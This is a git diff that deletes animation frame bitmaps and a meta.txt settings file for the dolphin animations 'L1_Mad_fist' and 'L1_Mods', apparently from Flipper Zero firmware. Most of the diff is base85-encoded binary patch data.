z^v%bpKYjQoLb^XRA%o9<1mI^u_a76F03Utzi39w9hI9w`K0yShAbkJPf&?IZz&`*X z59gkL|NaB+K8_!lKEMUfAJ_oF#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{IV1C`3Kw{ zUl05g9z*sAmGglI59B@p9uM9E2LPN0@K^H&_&`JApQtn<4FLW@)AI)6Pr>6456ln9z!-F3K7E?FeBggb ze*yzA52n1nVDe{=z`kMfUz88=7g!G5KH&0zLLd|k#UrhCo{!8Pa7LKyDITrVxIW+k zh6Bg#eV>Qa`YiIyQWir${QLjq^5KJrfdKqd!ROciuf!HB;WvyhKB@AsKpy%7)(4cp9x(y|1Jm3;5P4vawqu603MGK z|6k#NL4jZmA`fqbd>-Io2bch0!1@uK93Gem2tBa^^AIC!Y KBj9xacmu%J8sK#R diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm deleted file mode 100644 index 0ec761cbfd5c88d482ea64236928813bae064c6c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 540 zcmV+%0^|Jw02l&*&>#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{IV1C`3Kw{ zUl05g9z*sAmGglI59B@p9uM9E2LPN0@K^H&_&`JApQtn<4FLW@)AI)6Pr>6456ln9z!-F3K7E?FeBggb ze*yzA52n1nVDe{=z`kMfUz88=7g!G5KH&0zLLd|k#UrhCo{!8Pa7LKyDITrVxIW+k zh6Bg#eV>Qa`YiIyQWir${QLjq^5KJrfdKqd!ROciuf!HB;WvyhKB@AsKpy%7)(4cp9x(y|1Jm3;5P4vaHi0=0J@+7-~-X(KkNSj8vub|4I&R`2-so3^#zDL#v`MJgXBhjU_gV*0RacJA{Y-v e_?bi=kq_a4U|?mBlmq~f598r{5%4;IJOSX1q3;R+ diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm deleted file mode 100644 index d4207c95d87c1178737332cfb846c4f3ef65a217..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 542 zcmV+(0^$7u02%^-P#_Tq1QG!O12ljT;Q#!8zzIJGykL5>0DH;->nI1mAYQU?GJpo2 z94H6~e3%FXf&mDCK(G{mddUIt{wOd$EyYNc9`7=z}mRhrgny-@$j3-BLbA^g9e z_$g>Z?hh#c0uB!$`vb>;1As?^_uxW|;6HN!c-RB-Ss3^{cm?@Cj4&QhH2p&$&hZ0)zhG90flh@xLfXo*%pP z1HsS_r)I7nJPi5)5by`rUSBu(m&Jf3^AD2zNrC_v9f1C!@&}j*LFLxE&qwADGWg5^ z3T8KacwU zA0+t`2Luloa6EI@dEMu%4@eXS0SyO~{2o5x_`qWn2owVVFD3}bY5JCa~EC@Xy7wBi=0q_SD{2suugQ`W&Fc|@q zLFh0X3=SL*pa9rlkZ^uPV36>6nFJoth$r~Id;omRAP_7B03I-aVG2YZQGkDc0p_m| gdqg0f2sk{I;tL>pL4jfbI2aWG5da#91Hc{tz=$g6mH+?% diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm deleted file mode 100644 index 35955bc2021298f14e78677f1134681ff57ed248..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 505 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 JKpp__1AyX#(Xjvk diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm deleted file mode 100644 index 887a4b866414750fa353f434e7890755aabf34e8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 524 zcmV+n0`vU=00;tr&>#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{Js-G)4;UJLV1F1nd|=7=;6Q&cJAsfx@DDg}JcH%gtB2G4 zKOY1%KAQ6RgGLDeh<}UbA0_zk4Wj}V4lq98^AL;-9zAQU^nPITfPNqtYDcSeE)Tx~ zeh)9T_I@8(%$N z{(tG<^C^n_VUh)K%psTxV%;DJ@q>641suR-f$Jh%ns01ONh O00d);od6yH@B{!JY}+dU diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm deleted file mode 100644 index 8e9a34e971bd15694ea1fbbb480a712b73950009..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 515 zcmV+e0{r~}0RI7i&>#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{Js-G)4;UJLV1F1nd|=7=;6Q&cJAsfx@DDg}JcH%gtB2G5 z30Mp?KAQ6RlST;uh!_U0A4T}^5u`30XW%v=^aq$kv5?N?)_OlMdVC-lXgA|^E)Tu} zeh)8&_I@8(;Ko{FBlFX2vacnC(6M9!7GNr z0paF6^PA6D9#a5#lty6z!{@=}?jMLeph^*rU~f6V`$i}bC^P~efq?%9>;H#?#sR^Q@$WSZ*-3{j$2f^%sWabcl!NKfz5P88k5HNc$#L6J@{1=!2FfdF25&`^kpaZ}j F0Dyyp+Bg6J diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm deleted file mode 100644 index a430e480a6fff0f3e6a619747de0e6cb40819722..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 517 zcmV+g0{Z;{009Dk&>#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{Js; zhw2Q#90dJ;P&@Pj;qYJ75As4E0)DW6$OI37pPmK>{lGX32k;+$1qS^vfOFtK>bQJ+ zHE{WZ#a=xK3?Eh>EqQ$KGw1|CfG`pH2g!aT!H<{6fq;PP1L_YYaaaN4+`7+4<_|OI zgUi{vmj~Z50GK#O`F)><)_DM;1Iiix|IhzE|M`5la0wIx@&90mJi7n&_>0Da5`acH zG7$PF%E17kLk@|F2ed#QqOkxRowgwLLkIyS z0QCWgJ*FS{2t8Ni089uynj!#6_&w=>GJ+UJKo5E_J-8rp2b~NbxC#h8zu@$Qcni({ zQ;0np10YHi3jntudS`+11`q)9FyQ_EU_tKp5P8o50uN>QnM6KC=Ku^06(9o*3!y+B H0Pq8VP0`#< diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm b/assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm deleted file mode 100644 index 487f50b354b087e2a65878b92ca3e653f1b244da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 526 zcmV+p0`dI;015(t&>#^A1P~1p07L#i-~^w8-Y_m%fIZ~^^^^nOkS|#{89)P1Etm*= zm0x{Jss;s6yGFo;0{j~F+A3NQ#jJYazLhy&9B85Rftr0uZ> ztOLv)AOOk%>H{XZ019FMfP>k7AOygJ-M%0LpM&Bs0~jHMWB~Yv1J{BJFd3c5A7*n0 zpZp$&@h><0>>%~LNC1Tbz#)hpU;&SV;Z{h}gM;!3{D1@70Rab}^L`I?_?bi=Mb-cm Q3>6>)4GDPw9suwJ09n4>asU7T diff --git a/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt b/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt deleted file mode 100644 index 56f380747..000000000 --- a/assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 7 -Active frames: 13 -Frames order: 0 1 0 1 2 3 4 5 6 7 8 9 10 11 12 13 12 13 12 13 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 67 -Y: 24 -Text: Am I a joke\nto you?!?! -AlignH: Left -AlignV: Center -StartFrame: 15 -EndFrame: 19 diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_0.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_0.bm deleted file mode 100644 index eb0435241d2b00a3fbe2e3a1e97e551679c7d6e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 636 zcmV-?0)zbl0C)lbcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`iv$8h zK_O6p1{Bs2`Ai@Z7ze}uDF>ts9$yRufOaqdd54IeUy28U1|M850txl)+#?hS1n3qr zgkjJiMDm6khWrmj7{nkW@&|~0uoy)EtIQrK!8fE1eF+DlG*RXNAM6Gb{RI^Q5bZD- zG{z7D5cydEg(e527(7Aoi2}-y0vLEaU|-;Q;(zh`#z4F=59~e!+B^jjNH|FZ1Rfxv zfs&4aK)OkwR1=uz!Q%%9oPvP^kW6qu@u>a(@Si}uq7)DOzLNriJ%{EB7BSKo0uMX{ zOUM6^N;nWOd4FVc8Iq)6eiKm2Bm!}SP$v?|6(kNYV0hpq5dw(BC?@ix2gDwbh=u|| zg8%35699PQydU@sq#jfOP=E*?KVW#lBoA0M{tf&8{=w!iTps^_2Ji$#08l@`5U2mj{+UES*f@NIq7NMyetS?&;P%F1;BrYNDttqya(3+ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_1.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_1.bm deleted file mode 100644 index 9988e18a013ac36e3165fd8338d50f2697aaa98b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 640 zcmV-`0)PDh0DJ-fcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`iv$8h zK_O6p1{Bs2`Ai@Z7ze}uDF>ts9$yRufCexCd54IeUy28U1|M850txl)+#?hS1n3qr zgkjJiMDm6khWrmj7{nkW@&|~0uoy)EtIQrK!8fE1eF+DlG*RXNAM6Gb{RI^Q5bZD- zG{z7D5cydEg(e527(7Aoi2}-y0vLEaU|-;Q;(zh`#z4F=59~e!+B^jjNH|FZ1Rfxv zfs&4aK)*@gR1=uz!Q%%9oPvS)k<4&F@u>a(@Si}uq7(=mvXcUWJ%{EB7BSKi10e^N z0wv@B$R!cz2Y?Ay5C6{W6GuuyFYa aL>^oJ{J&ricvuj(pZ|XT3xNL)kRQNZ69Ys5 diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_10.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_10.bm deleted file mode 100644 index fdf7d166565a175b6777a3e23b5f5857ce966880..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 652 zcmV;70(1QV0Ehwrcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`JJ_S0znD{6cj%3$PL002rsX5x!nh(f&&mPom2oo^rk?f0rLiqXEF~=fIYjh z2#7rI8gP1(+Wm~wgUf(#5P5z9tqhyH&Qg}qV=FCw7CAT$f)5FS`u1QToD zxC6!!0iP<3NB9&Idk(gVW*v01P}1 zU)T&M`U)WUg32HRA{dH9K6XGENrCAG4-kA}K(Z)|0v-<-6C^?9iT}s%83ORcKd|^0 z@E%wSB9L&B2nakuLjxrp0)da0z^Etz&x6Je4><(_!62C6f#Xs8|KUD?c|<4>`8_5C zkQoom6f%O*&^HnQd0--5Km33mKLB|_C6gJFq+os@{Qw>*A%svZa(ERaUNB&I-~rUQg5)2>1_cN`Ieh`rp2Z%l~AXyYf0S^a^36dc4#Q)>>jDdJ!AJ}{g_zx@v5lA>m1Oy%+p@EW) zfk5X;;8YX<=fUF#2b_X|0hUZ~K=G*k|L~tcyrL8jCY=p6YtJg^Zj zAO1lo;6TCTG8v4?QZPRc{(&fv3C0mXpUdD>kT}7Cb#_3@|)lVDq4SYV}&J_C^md_`s+V z4F<1N04az(ejofCp^RMzq5tOq@rZCJK8LXni~uvkc>HJc6?weO05SjN+7sa9`@tk` zNCZ3mcKyfx@bF0k)(wAye*gcld5hNvzu&>U0TBQc5AXyj|MI`4Q4jVGA0a4%%YXlu U>;dl!0v7ZC@87|2AK}si_@xCB0{{R3 diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_12.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_12.bm deleted file mode 100644 index 7ee0db1f8689ade0169268c41da929e3ce02e039..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 zcmV-o0-gN<0A2zBcmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmACUQkaFUW+5-ZF9-O{_^Ea>z@DOl$7!Uw5Kp9XW zqw@ZT)=78;41yF0C@6hz*vL!*-~tc;{d=9x=oqL`Kw!iRr&RzDJo1Z?hzHCXIh@E8 zTEk}?2t9kT2#KUjqskTtJqhVx2aYHnd;=hZ%kT*w{QfBm0*n@67zdZ&9#9$u@(2YO z6k#ksU**p+0E9qk8G%svATdf1e53&Kpw)g0gM~GOeu46UK!NE42ekqKKNqRNMdVZ; zgHVU!030p?3AOLs0pp;RY9&Z>g3usF^ar*8@I&+fHUkKt7yAGf2R?*@(4KJcIe%a< zpXex!;tME%43c7b5c$~vWhMut7(7Aoi2}(&AoGELf#-?;$L|>ic#p;(0{#Qb0Yp*` z5_DbeJZ99#{Z*#3&~6q(OKPFndTaU;O>zVFkc{d>{A> zr2cS5A%n*P4;VN+@CZY|Pl4wP52wbjRjS`)VffH$^*{ocz%YLg{tTXd2ciGx0P%=$ zC@1tM90GX&f&6Fl5P7`J05SXJ?i1kT`@tk`NCZ0ld;Q1$@bF0k)(wAye*gcld5hNv wzu&>U0TBQc5AXyj|MI`4g1|qpaQO*D9$WwXzhDn|SP-|L|9<_1KjG2?_}G;RO8@`> diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_13.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_13.bm deleted file mode 100644 index 2055cd97430d481eede02e2e072cb415394d24a1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 624 zcmV-$0+0Ox0BiyPcmu#50PqKZE8+hD5I&;;%lrn0J_k5>F(B{_W~){H7n~p-aEK%W zTn`vz**F{o9)DivbGt;yf(jvmfkyzvRR9$e(hois9F}0w z%;sF_p@G(ZFWfWm*EqJTml<^v~y!X9S;vH;3V4@fY0gX0nfl^`CFFYr9^KluIQ zAhQwp!{A@Qd0;4tLBdENC&2{_43u;Q_{bns7!)G{4;VN+K-3Nlo&jAMqk%0gM zkO7qf8b2@SeL?3Sg#ii*x@-sxZV-?`eS4kG=oq0C5x~R?r&RzDJp4Q`c!$gyIh@P` z;6yEWJ-e|8i~|uWh(Hsf4?=oF1>=CoK!M}HH;6pH5C~QR9uGJy!Y~gnz&xk{^npes zhVlMf^8)b?r-B0%p$E!94->$X%yKZKsE^Rzp!0!)(t!Y?KsbQ%4-mYHgTVjs|K_0p z4i^Cg+V}1N@xW@ZTBs5*=nx}%1KR*r7zq6U4S>QZ1^&PVfzP2J^f#P54qw;|C;AE` zc>o0>AOT4XAu2!tvH;3V4@fY0gX0nfl^`CFFYr9^KluIQApr0X#vcOy1Iqxd83qzT z0X_&QU}U49FUCOvpunLR5O~4C=O71^#{~l9SbqQbPoQ2=0C`eiP)Wpl<_Z}>Xu<0+ zfO!A%0DH`4P+J58!~dWI&Ja&JOcOv4EC4*>6cc$;AiM||J){^f{(kW=g5W>C5BvsF ze>fu$!Q+7kj2s?#1R>xj!1INN)8kjF)o-#e{Ae|LpaD!^7(a*q22VbN(Esy*c*Hmq z6Z#X50X%>}{xkWAJl2wTtpzkb3W@aX~kc=G_9 diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_15.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_15.bm deleted file mode 100644 index f108180b8d0c18d4a59ef0426cec93ddc749255c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 614 zcmV-s0-5~*0Ad0Fcmu#50PqKZE8+hD5I&;;%lrn0J_>K-3*VbV6h+=59kl@T!Z+4z@Z1HFQ7cl?0-B293D^*`s4s* zK!%UY`X5kv$RR*Nf`{he2?7__x!mr9+8|vzr~rZPA24XP7mfoU;UIXx!RZRXL&4}CB6$PKfFE2g0txk=+zI0h540A60w^f#zHaEbv}r2+v&fN=oj1D`@c=pQ(E9KWy_PxKT+@@9|>h(icUkN|9eGLr++ z3?3l(#DQf<0Sr7IFfZ^t@jv+e;~-ubhxQ)={sYSZT^R-vK>-JdC}3oxpc}?P0-&eI zJ`Wf;JmdiKnBalqQTzYlK7n~e0p&@7K_C(zm?&ihqX(`6CFB3dB^(GCJti|HNWlC* z`UIjtCm2CI=^$}~1IGa^@CsF-@pIt z9%A*u@AvR;07O6q1N;FBfBdiMltcZ4hsa7G^56gE`v7~wz=gd3`}go%2l#Y={yIhh A`v3p{ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_16.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_16.bm deleted file mode 100644 index 9ed1f5520a8fdf7004f56d86d18cb8e61cdba5aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 638 zcmV-^0)hPj0D1xdcmu#50PqKZE8+hD5I&;;%lrn0J_>K-3*VbV6h+=59kl@T!Z+4z@Z1HFQ7cl?0-B293D^*`s4s* zK!%UY`X5kv$RR*Nf`{he2?7__x!mr9+8|vzr~rZPA24Xc_&8z1{exG4d@aa1`$9i^q@c}kPaXmpmXR*Jp<;*9(V|s zkN+T)N0;IcAMB1}GE|HY!~dX4Bq@=EP$v?|6(n9TV0hp)46%enC?@ix2gDwBhoHeE z7%%>Q@h}IDJHh{e+Ck+&6$k)<HssI$k9zPHM4IVg12SMn6`M^A490~|LZwCP<90GW6AB_HDuQ!>120#3}LVO&b zcqEO<0Ed6B-?;zY9tj|N!LRUd-~aXxF?!(l`}jA2A|L{R{s4tP{#W$MA^yR`K-3*VbV6h+=59kl@T!Z+4z@Z1HFQ7cl?0-B293D^*`s4s* zK!%UY`X5kv$RR*Nf`{he2?7__x!mr9+8|vzr~rZPA24XP7mfoU;UIXx!RZRXL&4}CB6$PKfFE2g0txk=+zI0h540A60w^f#zHaEbv}r2+v&fN=oj1D`@c=pQ(E9KWy_PxKT+@@9|>h(icUkN|9eGLr++ z3?3l(#DQf<0Sr7IFfZ^t@jv+e;~-ubhxQ)={sYSZT^R-vK>-JdC}3oxpinQ;cohXc zIq-PF!RH{Lek5}o5Ikx>fBYxVFDQiq2P~w(ppXd<%oH+$(a=5;5P4uCUO)VU&}JZb zMQRwzXRc_o2TMdJnsjsj5vphzMV6M0et;txn6bYvJW{(kW=2aY?z z|A5LtK-3*VbV6h+=59kl@T!Z+4z@Z1HFQ7cl?0-B293D^*`s4s* zK!%UY`X5kv$RR*Nf`{he2?7__x!mr9+8|vzr~rZPA24Xc_&8z1{exG4d@aa1`$9i^q@c}kPaXmpmXR*Jp<>eKo2Yg zOUM6^1I3&m@q$YxGbKpC{6G2tJW@jlpjzbcDoDIw!12HX#t8z5P)+4X4~RVN2_b?= zFkk%r;$ROPcZ2@{w1dceEJFv6*d8!_OAuig1R>xj&K-3*VbV6h+=59kl@T!Z+4z@Z1HFQ7cl?0-B293D^*`s4s* zK!%UY`X5kv$RR*Nf`{he2?7__x!mr9+8|vzr~rZPA24XP7mfoU;UIXx!RZRXL&4}CB6$PKfFE2g0txk=+zI0h540A60w^f#zHaEbv}r2+v&fN=oj1D`@c=pQ(E9KWy_PxKT+@@9|>h(icUkN|9eGLr++ z3?3l(#DQf<0Sr7IFfZ^t@jv+e;~-ubhxQ)={sYSZT^R-vK>-JdC}3oxpinu|cohXc zIq-PF!RH{LKxLC05Ikx>fBYxVFDQir`5~mhppXd<%oH+$(a<^aaCu-NUO)VU&}JZb zjD}+}RE!V9|DZ|=#R#BJS z@EJ%vr~;t?5Ilas@q@}?5exNT|{2Ra#5CK5{079StEBa*+|6t+r5{Nvv|M`Bv9`LXs PZ$JM1{1*ZK9Uwn|IAshQ diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_2.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_2.bm deleted file mode 100644 index 19c045034e8f6e540c73ca003e2f6401fe00cd96..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 639 zcmV-_0)YJi0DA%ecmu#50PqKZE8+hD5I&;;%lrn0J_=zPYc*Q0@V&4g^Vb8$92`IZ z;6mmAC^$UgAOXOD%OeM%4-_8oFn>UQg5)2>1_cN`Ieh`iv$8h zK_O6p1{Bs2`Ai@Z7ze}uDF>ts9$yRufCez|d54IeUy28U1|M850txl)+#?hS1n3qr zgkjJiMDm6khWrmj7{nkW@&|~0uoy)EtIQrK!8fE1eF+DlG*RXNAM6Gb{RI^Q5bZD- zG{z7D5cydEg(e527(7Aoi2}-y0vLEaU|-;Q;(zh`#z4F=59~e!+B^jjNH|FZ1Rfxv zfs&4aK*!7AR1=uz!Q%%9oPvR1kW6qu@u>a(@Si}uq7(>xo|6KCJ%{EB7BSK&8;Jls zun{jG{z2$75IkU#$&ATTFh2>XWd&k{P%UzJ6(n9TV0hpq5Gn+MAwf5lAU+`Uf)_?X zg8%35699PQydU@sq#i@zDii=7KVW#l$mPd_lJT=9K-3Nlo&jAMqk%0gM zkO7qf8b2@SeL?3Sg#ii*x@-sxZV-?`eS4kG=oq0C5x~R?r&RzDJp4Q`c!$gyIh@P` z;6yEWJ-e|8i~|uWh(Hsf4?=oF1>=CoK!M}HH;6pE5C~QR9uGJy!Y~gn$G{#m0Qx|q z5<__2?lXaShtt6Uico{)AQB1SN#;2iQdCFe4-!vRO20k9ZF0KeD(usQT39)|OWfy?^= zg#STAk01b~L;xuvge6D-Hb5Ckf$0Vh5PV`lvZMpj1^x$~C;uP3WDMo~hrqvp^1v%b zL4=S%Pl5^<87Sxr@sL2MFepX@9x!lu$N}Xs!9ckdAHV(+=ogeg9#ohV5^)~+f`(99 zFnY`&9zXnm9`hNL7Qq1U|L6eogcHt_1keM^01r5Y1m0ALF9HS+X$A}bpS(;UxDW4x z{{fVr&IrUXc;G?f2M3-32zUwbJmF#V_|@vQTkMQK8Vz2k08o&6B#p@chhMLMxc}ZB2_SmGukdf*|Mm|t zdf@l__&0zeAOeB@0EIvPSM<40q+X}7W4n_->`@LIzWE_kF@@F diff --git a/assets/resources/dolphin/L1_Mods_128x64/frame_21.bm b/assets/resources/dolphin/L1_Mods_128x64/frame_21.bm deleted file mode 100644 index a3a91bc3581ab33a045af57c81ab7dae61254602..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 626 zcmV-&0*(Cv0B!;Rcmu#50PqKZE8+hD5I&;;%lrn0J_k5BF#w~i)oQ=O^MV7;5Ct7@ zJYm42{sj&m1xN@y;*k&mLSmU1cqm{%`-Ox069Di}$M-ydL?{6BFT9u@L8Cvk5>yW( z0htrw1BC;`em~Qrf1>xO_&h)Z1p$-{AW$f!Dk2X*uXDNG!5v4yCM*1K9#v2QaIo+g zfQYyRV+M|AGyku^VGtY#{+>rVuXZ63fJmTlKzP6@0P`oD0z(CXN5kj9M2I}R0Q2Yv z1r{?1z&yVn0D1i&VDgMf4dZ*b&I9ojp$E!9BocVQq6YJYU`OW|H3&H;#k z(6vyY2*3lxPayci#v%_)E&>Vlp4=xDP@u$+#vK|22%cX6c?QG)N+DwkJpcm)2c{7~ zD)az64t)s+r@-1pF#r$t0}1|uiU9}(l0cveF?)!7?0_o9Q@i2nmKfVwA22y`F>I26D4;VN+@CZY|Pl4wP52wbjRjS`)VffH$^*{oc zz%YLg{tTXd2ciGx0P%=$C@1tM90GX&f&6Fl5P7`J05SXJ?i1kT`@tk`NCZ0ld;Q1$ z@bF0k)(wAye*gcld5hNvzu&>U0TBQc5AXyj|MI`4g1|qpaQO*D9$WwXzhDn|SP-|L M|9<_1KjG2?_UQkaFUW+5-ZF9-O{_^EbEu00SHZ93Dml01f(p z2pR-5eqYe}@IUk~d=3F1g$4==9XbXAg(-nRE)bAWeS4kG>;w2DD0~7ST{@@$pb{ra zL<8mx9L{C|A%J{8@{oIXVi6n!fEF+SdlSxq;DLwNfNv0aco@Sv0*s&@Fj;{RLF4%N 